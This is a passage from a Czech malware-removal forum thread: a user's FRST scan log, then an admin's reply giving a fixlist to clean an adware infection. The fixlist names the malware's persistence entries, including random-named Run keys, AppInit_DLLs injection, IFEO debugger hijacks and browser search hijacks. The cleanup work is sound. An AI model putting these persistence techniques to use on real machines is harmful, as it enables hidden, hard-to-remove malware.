2017-06-16 16:55 - 2017-05-12 20:03 - 00005120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wow32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004608 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-processthreads-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-sysinfo-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-synch-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-misc-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-localregistry-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-localization-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-processenvironment-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-namedpipe-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-memory-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-libraryloader-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-interlocked-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-heap-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-string-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-rtlsupport-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-profile-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-io-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-handle-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-fibers-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-errorhandling-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-delayload-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-debug-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-datetime-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-console-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:55 - 00148480 _____ (Microsoft Corporation) C:\Windows\system32\appidpolicyconverter.exe
2017-06-16 16:55 - 2017-05-12 19:54 - 00062464 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\appid.sys
2017-06-16 16:55 - 2017-05-12 19:54 - 00017920 _____ (Microsoft Corporation) C:\Windows\system32\appidcertstorecheck.exe
2017-06-16 16:55 - 2017-05-12 19:51 - 00338432 _____ (Microsoft Corporation) C:\Windows\system32\conhost.exe
2017-06-16 16:55 - 2017-05-12 19:50 - 00296960 _____ (Microsoft Corporation) C:\Windows\system32\rstrui.exe
2017-06-16 16:55 - 2017-05-12 19:46 - 00112640 _____ (Microsoft Corporation) C:\Windows\system32\smss.exe
2017-06-16 16:55 - 2017-05-12 19:43 - 00034304 _____ (Adobe Systems) C:\Windows\SysWOW64\atmlib.dll
2017-06-16 16:55 - 2017-05-12 19:41 - 00025600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\setup16.exe
2017-06-16 16:55 - 2017-05-12 19:41 - 00014336 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntvdm64.dll
2017-06-16 16:55 - 2017-05-12 19:41 - 00007680 _____ (Microsoft Corporation) C:\Windows\SysWOW64\instnm.exe
2017-06-16 16:55 - 2017-05-12 19:41 - 00002048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\user.exe
2017-06-16 16:55 - 2017-05-12 19:40 - 00006144 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-security-base-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:40 - 00004608 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-threadpool-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:40 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-xstate-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:40 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-util-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 18:25 - 01251328 _____ (Microsoft Corporation) C:\Windows\SysWOW64\DWrite.dll
2017-06-16 16:55 - 2017-05-12 17:58 - 01648128 _____ (Microsoft Corporation) C:\Windows\system32\DWrite.dll
2017-06-16 16:55 - 2017-05-12 17:58 - 01180160 _____ (Microsoft Corporation) C:\Windows\system32\FntCache.dll
2017-06-16 16:55 - 2017-05-10 17:33 - 00091368 _____ (Microsoft Corporation) C:\Windows\system32\MigAutoPlay.exe
2017-06-16 16:55 - 2017-05-10 17:29 - 03165184 _____ (Microsoft Corporation) C:\Windows\system32\wucltux.dll
2017-06-16 16:55 - 2017-05-10 17:29 - 01867776 _____ (Microsoft Corporation) C:\Windows\system32\ExplorerFrame.dll
2017-06-16 16:55 - 2017-05-10 17:29 - 00192512 _____ (Microsoft Corporation) C:\Windows\system32\wuwebv.dll
2017-06-16 16:55 - 2017-05-10 17:29 - 00098816 _____ (Microsoft Corporation) C:\Windows\system32\wudriver.dll
2017-06-16 16:55 - 2017-05-10 17:28 - 00091136 _____ (Microsoft Corporation) C:\Windows\system32\WinSetupUI.dll
2017-06-16 16:55 - 2017-05-10 17:16 - 00091368 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MigAutoPlay.exe
2017-06-16 16:55 - 2017-05-10 17:13 - 00709120 _____ (Microsoft Corporation) C:\Windows\system32\wuapi.dll
2017-06-16 16:55 - 2017-05-10 17:13 - 00140288 _____ (Microsoft Corporation) C:\Windows\system32\wuauclt.exe
2017-06-16 16:55 - 2017-05-10 17:13 - 00037888 _____ (Microsoft Corporation) C:\Windows\system32\wups2.dll
2017-06-16 16:55 - 2017-05-10 17:13 - 00037888 _____ (Microsoft Corporation) C:\Windows\system32\wuapp.exe
2017-06-16 16:55 - 2017-05-10 17:13 - 00036864 _____ (Microsoft Corporation) C:\Windows\system32\wups.dll
2017-06-16 16:55 - 2017-05-10 17:13 - 00012288 _____ (Microsoft Corporation) C:\Windows\system32\wu.upgrade.ps.dll
2017-06-16 16:55 - 2017-05-10 17:12 - 01499648 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ExplorerFrame.dll
2017-06-16 16:55 - 2017-05-10 17:12 - 00174080 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuwebv.dll
2017-06-16 16:55 - 2017-05-10 17:00 - 00573440 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuapi.dll
2017-06-16 16:55 - 2017-05-10 17:00 - 00093696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wudriver.dll
2017-06-16 16:55 - 2017-05-10 17:00 - 00035328 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuapp.exe
2017-06-16 16:55 - 2017-05-10 17:00 - 00030208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wups.dll
2017-06-16 16:55 - 2017-05-10 16:52 - 00117248 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\tdx.sys
2017-06-16 16:55 - 2017-05-09 17:29 - 00970240 _____ (Microsoft Corporation) C:\Windows\system32\localspl.dll
2017-06-16 16:55 - 2017-05-09 17:11 - 00497664 _____ (Microsoft Corporation) C:\Windows\SysWOW64\win32spl.dll
2017-06-16 16:55 - 2017-05-07 17:33 - 00094440 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mountmgr.sys
2017-06-16 16:55 - 2017-05-07 17:29 - 00011264 _____ (Microsoft Corporation) C:\Windows\system32\msmmsp.dll
2017-06-16 16:55 - 2017-03-30 17:03 - 00046080 _____ (Microsoft Corporation) C:\Windows\system32\rundll32.exe
2017-06-16 16:55 - 2017-03-30 16:58 - 00045056 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rundll32.exe
==================== One Month Modified files and folders ========
(If an entry is included in the fixlist, the file/folder will be moved.)
2017-07-03 23:05 - 2016-03-18 17:25 - 00038666 _____ C:\Users\Uzivatel\Desktop\FRST.txt
2017-07-03 23:05 - 2014-08-09 11:40 - 00000000 ____D C:\FRST
2017-07-03 23:00 - 2017-05-07 21:27 - 00002480 ____H C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2017-07-03 23:00 - 2014-09-15 19:54 - 00002058 ____H C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-07-03 23:00 - 2013-04-21 00:04 - 00001100 ____H C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-07-03 21:41 - 2016-03-18 17:24 - 00000000 ____D C:\Users\Uzivatel\Desktop\FRST-OlderVersion
2017-07-03 21:41 - 2009-07-14 06:45 - 00023392 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2017-07-03 21:41 - 2009-07-14 06:45 - 00023392 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2017-07-03 21:32 - 2010-04-23 14:49 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\Skype
2017-07-03 21:30 - 2013-05-31 21:42 - 00000350 _____ C:\Windows\Tasks\AVG-Secure-Search-Update_JUNE2013_TB_rmv.job
2017-07-03 21:30 - 2009-07-14 07:08 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2017-07-03 10:45 - 2015-04-08 20:31 - 00000000 ____D C:\Users\DefaultAppPool
2017-07-03 10:42 - 2017-05-09 10:13 - 00251832 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMSwissArmy.sys
2017-07-03 10:38 - 2014-01-29 16:23 - 00000000 ____D C:\AdwCleaner
2017-07-03 10:36 - 2017-04-17 13:25 - 00000000 ____D C:\Windows\Update
2017-07-03 10:36 - 2017-03-30 18:31 - 00000000 ____D C:\Update
2017-07-03 10:36 - 2017-03-16 18:44 - 00000000 ____D C:\Windows\system32\log
2017-07-03 10:23 - 2010-03-18 20:40 - 00000000 ____D C:\ProgramData\ICQ
2017-07-02 17:17 - 2015-01-11 13:57 - 01378180 _____ C:\Windows\ntbtlog.txt
2017-07-02 17:03 - 2017-03-16 18:43 - 00000000 ____D C:\Users\Uzivatel\AppData\LocalLow\Mozilla
2017-06-29 18:38 - 2010-09-18 13:27 - 00004829 _____ C:\Windows\wininit.ini
2017-06-29 17:43 - 2010-03-19 14:19 - 00000000 ____D C:\Program Files (x86)\Google
2017-06-29 16:29 - 2011-07-19 23:22 - 00000000 ____D C:\Windows\Minidump
2017-06-29 16:19 - 2010-03-16 13:01 - 00000000 ____D C:\Users\Uzivatel
2017-06-29 16:07 - 2009-07-14 05:20 - 00000000 ___HD C:\Windows\system32\GroupPolicy
2017-06-29 16:06 - 2016-12-16 16:07 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PlaysTV
2017-06-29 16:06 - 2010-04-12 15:56 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TmUnitedForever
2017-06-24 14:29 - 2014-05-16 19:25 - 00000000 ____D C:\ProgramData\Bohemia Interactive
2017-06-17 19:39 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\rescache
2017-06-17 10:41 - 2009-07-14 06:45 - 05015264 _____ C:\Windows\system32\FNTCACHE.DAT
2017-06-17 10:36 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\SysWOW64\migwiz
2017-06-17 10:36 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\system32\migwiz
2017-06-17 02:22 - 2012-05-12 21:47 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Silverlight
2017-06-17 02:21 - 2017-03-16 23:25 - 00045472 _____ C:\Windows\SysWOW64\1
2017-06-17 02:21 - 2012-05-12 21:46 - 00000000 ____D C:\Program Files\Microsoft Silverlight
2017-06-17 02:21 - 2012-05-12 21:46 - 00000000 ____D C:\Program Files (x86)\Microsoft Silverlight
2017-06-17 02:20 - 2013-08-14 12:34 - 00000000 ____D C:\Windows\system32\MRT
2017-06-17 02:20 - 2009-11-16 16:40 - 133627792 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe
2017-06-16 17:27 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\inf
2017-06-16 17:27 - 2009-07-14 05:20 - 00000000 ____D C:\Program Files\Common Files\Microsoft Shared
2017-06-16 17:26 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\registration
2017-06-16 17:22 - 2012-04-01 10:05 - 00803328 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe
2017-06-16 17:22 - 2012-04-01 10:05 - 00004396 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater
2017-06-16 17:22 - 2011-05-29 20:46 - 00144896 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl
2017-06-16 17:22 - 2011-03-30 20:52 - 00000000 ____D C:\Windows\system32\Macromed
2017-06-16 17:22 - 2010-03-18 19:56 - 00000000 ____D C:\Windows\SysWOW64\Macromed
2017-06-11 17:17 - 2011-04-20 16:37 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\Audacity
2017-06-10 17:57 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\system32\NDF
==================== Files in the root of some directories =======
2013-10-16 17:00 - 2013-10-16 17:00 - 2384896 _____ (Waves Audio Ltd.) C:\Program Files\WaveShell-VST 9.2_x64.dll
2010-04-16 15:30 - 2009-09-01 13:06 - 4532736 _____ () C:\Program Files (x86)\autorun.dat
2010-04-16 15:30 - 2009-09-01 13:06 - 0413696 _____ (Electronic Arts) C:\Program Files (x86)\AutoRun.exe
2010-04-16 15:30 - 2009-09-01 13:06 - 0000143 _____ () C:\Program Files (x86)\autorun.inf
2010-04-16 15:30 - 2009-09-01 13:06 - 0030398 _____ () C:\Program Files (x86)\config.dat
2010-04-16 15:30 - 2009-09-01 13:06 - 0324880 _____ () C:\Program Files (x86)\dirtysock.dll
2010-04-16 15:30 - 2009-09-01 13:06 - 0423184 _____ (Electronic Arts) C:\Program Files (x86)\EASetup.exe
2010-04-16 15:30 - 2009-09-01 13:06 - 6829328 _____ () C:\Program Files (x86)\FIFA10Demo.exe
2010-04-16 15:30 - 2009-09-01 13:06 - 0105014 _____ () C:\Program Files (x86)\fifapc.ico
2010-04-16 15:30 - 2009-09-01 13:06 - 0374032 _____ () C:\Program Files (x86)\GDFBinary.dll
2009-07-07 06:57 - 2009-07-07 06:57 - 7065600 _____ () C:\Program Files (x86)\GUTF22C.tmp
2010-04-16 15:30 - 2009-09-01 13:06 - 0348160 _____ (Microsoft Corporation) C:\Program Files (x86)\msvcr71.dll
2010-04-16 15:30 - 2009-09-01 13:06 - 0544768 _____ (Microsoft Corporation) C:\Program Files (x86)\msvcr71d.dll
2010-04-12 16:14 - 2010-04-12 16:14 - 0405520 _____ () C:\Program Files (x86)\Neon Viper _2_.zip
2010-04-12 16:15 - 2010-04-12 16:15 - 4402143 _____ () C:\Program Files (x86)\Orange-Stripe_d.zip
2010-04-16 15:30 - 2009-09-01 13:06 - 0115976 _____ (Electronic Arts Inc.) C:\Program Files (x86)\Setup.exe
2013-10-16 17:00 - 2013-10-16 17:00 - 1732608 _____ (Waves Audio Ltd.) C:\Program Files (x86)\WaveShell-VST 9.2.dll
2011-02-23 18:04 - 2011-02-23 18:04 - 0000132 _____ () C:\Users\Uzivatel\AppData\Roaming\Adobe IllExport Filter CS5 Prefs
2015-03-26 20:39 - 2015-05-09 14:44 - 0000034 _____ () C:\Users\Uzivatel\AppData\Roaming\AdobeWLCMCache.dat
2012-05-18 20:37 - 2012-05-18 21:25 - 0000040 _____ () C:\Users\Uzivatel\AppData\Roaming\cdr.ini
2010-06-22 21:25 - 2010-06-25 19:25 - 0027996 _____ () C:\Users\Uzivatel\AppData\Roaming\OFMissionEditorConfig.xml
2017-06-29 16:12 - 2017-06-29 16:12 - 7307264 _____ () C:\Users\Uzivatel\AppData\Local\agent.dat
2017-05-03 16:37 - 2017-05-03 16:37 - 0000000 ____H () C:\Users\Uzivatel\AppData\Local\BIT8841.tmp
2017-06-29 16:12 - 2017-06-29 16:12 - 0070800 _____ () C:\Users\Uzivatel\AppData\Local\Config.xml
2011-04-01 18:01 - 2012-03-05 18:44 - 0011776 _____ () C:\Users\Uzivatel\AppData\Local\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
2014-05-01 20:25 - 2014-05-01 20:25 - 0000096 _____ () C:\Users\Uzivatel\AppData\Local\fusioncache.dat
2017-06-29 16:10 - 2017-06-29 16:10 - 0278509 _____ () C:\Users\Uzivatel\AppData\Local\Indigois.bin
2017-06-29 16:08 - 2017-06-29 16:08 - 0140800 _____ () C:\Users\Uzivatel\AppData\Local\installer.dat
2017-06-29 16:12 - 2017-06-29 16:12 - 0018432 _____ () C:\Users\Uzivatel\AppData\Local\Main.dat
2017-06-29 16:12 - 2017-06-29 16:12 - 0005568 _____ () C:\Users\Uzivatel\AppData\Local\md.xml
2014-08-09 13:02 - 2016-03-18 17:24 - 0029696 _____ () C:\Users\Uzivatel\AppData\Local\MSGBOX.EXE
2017-06-29 16:12 - 2017-06-29 16:12 - 0126464 _____ () C:\Users\Uzivatel\AppData\Local\noah.dat
2017-06-29 16:08 - 2017-06-29 16:34 - 1705984 _____ () C:\Users\Uzivatel\AppData\Local\po.db
2014-12-26 01:49 - 2014-12-26 01:49 - 0001514 _____ () C:\Users\Uzivatel\AppData\Local\recently-used.xbel
2017-06-29 16:12 - 2017-06-29 16:08 - 2465280 _____ (TODO: <Company name>) C:\Users\Uzivatel\AppData\Local\TampAir.exe
2017-06-29 16:12 - 2017-06-29 16:12 - 1896509 _____ () C:\Users\Uzivatel\AppData\Local\TampAir.tst
2015-05-23 10:33 - 2015-05-23 10:33 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{37A92A0F-2B17-4CD3-8217-2265EDDDBCAB}
2015-03-26 17:56 - 2015-03-26 17:56 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{44D51D47-FB94-4694-850C-88D151C843BB}
2015-09-03 17:44 - 2015-09-03 17:44 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{61C56E5E-31C3-4BDE-8BA8-B584EB0C0979}
2015-03-29 14:04 - 2015-03-29 14:04 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{77396AB5-657F-4477-86C7-3FC651644589}
2017-05-03 16:36 - 2017-05-03 16:36 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{8EF78EB9-E631-46EA-9659-7AAE4DC8C697}
2015-05-30 14:23 - 2015-05-30 14:23 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{EB026816-3883-4F89-8C03-40A90D8A1629}
2017-07-03 21:30 - 2017-07-03 21:31 - 0000003 ____H () C:\ProgramData\cm-lock
2010-04-23 14:53 - 2010-04-23 14:53 - 0000056 ____H () C:\ProgramData\ezsidmv.dat
Files to move or delete:
====================
C:\Windows\Temp\00010362\conhost.exe
C:\Windows\Temp\0e-988c5-729-c8f8e-960e0de90526f\QKRPRNSOSV.exe
Some zero byte size files/folders:
==========================
C:\Windows\System32\dotnetfx.exe
==================== Bamital & volsnap =================
(There is no automatic fix for files that do not pass verification.)
C:\Windows\system32\winlogon.exe => File is digitally signed
C:\Windows\system32\wininit.exe => File is digitally signed
C:\Windows\SysWOW64\wininit.exe => File is digitally signed
C:\Windows\explorer.exe => File is digitally signed
C:\Windows\SysWOW64\explorer.exe => File is digitally signed
C:\Windows\system32\svchost.exe => File is digitally signed
C:\Windows\SysWOW64\svchost.exe => File is digitally signed
C:\Windows\system32\services.exe => File is digitally signed
C:\Windows\system32\User32.dll => File is digitally signed
C:\Windows\SysWOW64\User32.dll => File is digitally signed
C:\Windows\system32\userinit.exe => File is digitally signed
C:\Windows\SysWOW64\userinit.exe => File is digitally signed
C:\Windows\system32\rpcss.dll => File is digitally signed
C:\Windows\system32\dnsapi.dll => File is digitally signed
C:\Windows\SysWOW64\dnsapi.dll => File is digitally signed
C:\Windows\system32\Drivers\volsnap.sys => File is digitally signed
LastRegBack: 2017-07-02 12:59
==================== End of FRST.txt ============================
-
Rudy
- Site Admin
- Příspěvky: 118275
- Registrován: 30 říj 2003 13:42
- Bydliště: Plzeň
- Kontaktovat uživatele:
Re: Automatické otevírání prohlížečů a reklam
Otevřte poznámkový blok a zkopírujte do něj:
Uložte na plochu jako fixlist.txt. Spusťte znovu FRST a klikněte na >Fix<. Po skončení akce se objeví log, který sem zkopírujte.Start
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [334896 2015-06-08] (Oracle Corporation)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [QKRPRNSOSV.exe] => C:\Windows\Temp\0e-988c5-729-c8f8e-960e0de90526f\QKRPRNSOSV.exe [75264 2017-06-29] () <===== ATTENTION
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [7FM3ZXLNA1ZP1PG] => C:\Program Files\FNJLTCS41J\FNJLTCS41.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [6VPXZBGTWPME1EW] => C:\Program Files\SWG63XXW0V\SWG63XXW0.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [5Q7U43XKBO736KK] => C:\Program Files\G05HC4PZV0\M20DKGF77.exe [1040384 2017-06-29] ()
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [G9CQIRQT0759DOK] => C:\Program Files\I59ZA8EZ7K\91SNIEC4V.exe [1040384 2017-06-29] (N9@XW9)
C:\Windows\Temp
C:\Program Files\FNJLTCS41J
C:\Program Files\SWG63XXW0V
C:\Program Files\G05HC4PZV0
C:\Program Files\I59ZA8EZ7K
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\MountPoints2: {a0a4aba1-0a8a-11e7-9421-6cf0491de2a6} - J:\setup.exe
AppInit_DLLs: C:\ProgramData\AppmallosayoV\Voltdax.dll => C:\ProgramData\AppmallosayoV\Voltdax.dll [343552 2017-06-29] ()
AppInit_DLLs-x32: C:\ProgramData\AppmallosayoV\Grave-Fan.dll => C:\ProgramData\AppmallosayoV\Grave-Fan.dll [246784 2017-06-29] ()
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
ShellIconOverlayIdentifiers: [ SkyDrive1] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
ShellIconOverlayIdentifiers: [ SkyDrive2] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers: [ SkyDrive3] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive1] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive2] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive3] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
GroupPolicy: Restriction - Chrome <======= ATTENTION
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&t ... 1837918379
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&t ... 1837918379
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&t ... 1837918379
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
SearchScopes: HKLM -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKLM -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKLM -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gc ... nrs=AG1&q={searchTerms}
SearchScopes: HKLM-x32 -> DefaultScope {ielnksrch} URL =
SearchScopes: HKLM-x32 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
SearchScopes: HKLM-x32 -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gc ... nrs=AG1&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {2D149E15-BBAA-435b-A98D-BBC53B907C7B} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {80c554b9-c7f8-4a21-9471-06d606da78a2} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gc ... nrs=AG1&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {A4ACD589-7C3E-4213-BD4A-D721BBD2087F} URL =
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre6\bin\jp2ssv.dll => No File
BHO-x32: No Name -> {4f3ed5cd-0726-42a9-87f5-d13f3d2976ac} -> No File
Toolbar: HKU\.DEFAULT -> No Name - {88C7F2AA-F93F-432C-8F0E-B7D85967A527} - No File
StartMenuInternet: IEXPLORE.EXE - c:\program files\internet explorer\iexplore.exe hxxp://www.ourluckysites.com/?type=sc&t ... 1837918379
FF NewTab: C:\ProgramData\AppmallosayoVs\ff.NT
FF DefaultSearchEngine: youndoo
FF SearchEngineOrder.1: Ask.com
FF SelectedSearchEngine: youndoo
FF Homepage: C:\ProgramData\AppmallosayoVs\ff.HP
FF Keyword.URL: hxxp://dts.search.ask.com/sr?src=ffb&gc ... PN11459&q=
FF Plugin-x32: @esn.me/esnsonar,version=0.70.0 -> C:\Program Files (x86)\Battlelog Web Plugins\Sonar\0.70.0\npesnsonar.dll [No File]
FF Plugin-x32: @esn/esnlaunch,version=2.1.7 -> C:\Program Files (x86)\Battlelog Web Plugins\2.1.7\npesnlaunch.dll [No File]
FF Plugin-x32: @esn/npbattlelog,version=2.4.0 -> C:\Program Files (x86)\Battlelog Web Plugins\2.4.0\npbattlelog.dll [No File]
FF Plugin-x32: @microsoft.com/GENUINE -> disabled [No File]
